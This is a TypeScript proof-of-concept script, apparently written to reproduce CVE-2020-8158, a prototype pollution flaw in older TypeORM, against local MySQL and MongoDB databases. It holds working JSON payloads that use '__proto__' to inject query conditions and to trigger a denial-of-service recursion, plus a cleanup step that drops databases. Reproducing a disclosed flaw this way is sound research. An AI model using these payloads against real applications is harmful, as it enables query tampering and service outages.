import { PrimaryGeneratedColumn, createConnection, getConnection, Entity, PrimaryColumn, Column, Connection, ManyToMany, JoinTable } from "typeorm"; /** * CVE-2020-8158 Real-World Test with Multiple Databases * * This test demonstrates the vulnerability with actual database connections * using TypeORM < 0.2.25 */ // console.log = require('debug')('cve-2020-8158:test-databases'); @Entity() export class Category { @PrimaryGeneratedColumn() id!: number; @Column() name!: string; } @Entity() export class Post { @PrimaryGeneratedColumn() id!: number; @Column({ nullable: true }) title?: string; @Column("text") text!: string; @ManyToMany(type => Category,) @JoinTable() categories!: Category[]; [ key: string ]: any; } /** * Clean up databases */ async function cleanUp() { try { // Try MongoDB const mongoConn = getConnection("mongo"); await mongoConn.dropDatabase(); // await mongoConn.close(); } catch (e) { console.log("MongoDB cleanup skipped or failed"); } try { // Try MySQL const mysqlConn = getConnection("mysql"); await mysqlConn.dropDatabase(); // await mysqlConn.close(); } catch (e) { console.log("MySQL cleanup skipped or failed"); } try { // Try PostgreSQL const pgConn = getConnection("postgres"); await pgConn.dropDatabase(); await pgConn.close(); } catch (e) { console.log("PostgreSQL cleanup skipped or failed"); } } /** * Test with MySQL */ async function runTest() { console.log("\n=== Testing CVE-2020-8158 with MySQL ===\n"); try { const mysqlConnection = await createConnection({ name: "mysql", type: "mysql", host: "localhost", port: 3306, username: "root", password: "root", database: "test", entities: [ Post, Category ], synchronize: true, logging: false, }); const mongoConnection = await createConnection({ name: "mongo", type: "mongodb", host: "localhost", port: 27017, database: "test", entities: [ Post, Category ], synchronize: false, logging: false, }); // await cleanUp(); console.log("āœ“ Connected to MySQL"); // Clean up tables (delete instead of truncate to avoid FK issues) // await mysqlConnection.query("DELETE FROM post_categories_category"); // await mysqlConnection.query("DELETE FROM post"); // await mysqlConnection.query("DELETE FROM user"); // await mysqlConnection.query("DELETE FROM category"); // Test 1: Basic insertion console.log("\n--- Test 1: Normal Post Insertion ---"); // Test 2: Prototype pollution console.log("\n--- Test 2: Prototype Pollution via JSON ---"); // const post = JSON.parse(`{"text":"a","title":{"__proto__":{"where":{"name":"sqlinjection","where":{"id":1}}}}}`) const post = JSON.parse(`{"text":"a","title":{"__proto__":{"where":{"name":"hacked","where":null}}}}`) //max call stack payload => denial of service // const post = JSON.parse(`{"text":"a","title":{"__proto__":{"polluted":{}}}}`) //works // const post = JSON.parse(`{ // "text": "exploit", // "title": { // "__proto__": { // "skip": 100000, // "take": 100000 // } // } // }`); try { await mongoConnection.manager.save(Post, post) console.log("Post has been saved: ", post) const saved = await mongoConnection.manager.find(Post) console.log("Posts were found: ", saved) } catch (err) { console.error(err) const category = new Category() category.name = 'category' await mysqlConnection.manager.save(Category, category) console.log("Category has been saved: ", category) } // Check for pollution const categories = await mysqlConnection.manager.find(Category, {}) // WHERE name = "hacked" console.log("Categories were found: ", categories) // Test 3: SQL injection potential // console.log("\n--- Test 3: SQL Injection Potential ---"); // const posts = await mysqlConnection.manager.find(Post); // console.log(`āœ“ Found ${posts.length} posts in MySQL`,posts); console.log("\nāœ“ MySQL connection closed"); } catch (error) { console.error("MySQL test failed:", error); } } /** * Main execution */ async function main() { console.log("=== CVE-2020-8158 Real-World Database Tests ==="); console.log("Testing Prototype Pollution in TypeORM\n"); try { // Clean up any existing connections await cleanUp(); } catch (e) { // Ignore cleanup errors on first run } await runTest(); console.log("\n=== All Tests Completed ===\n"); process.exit(0); } main().catch((error) => console.error("Fatal error:", error));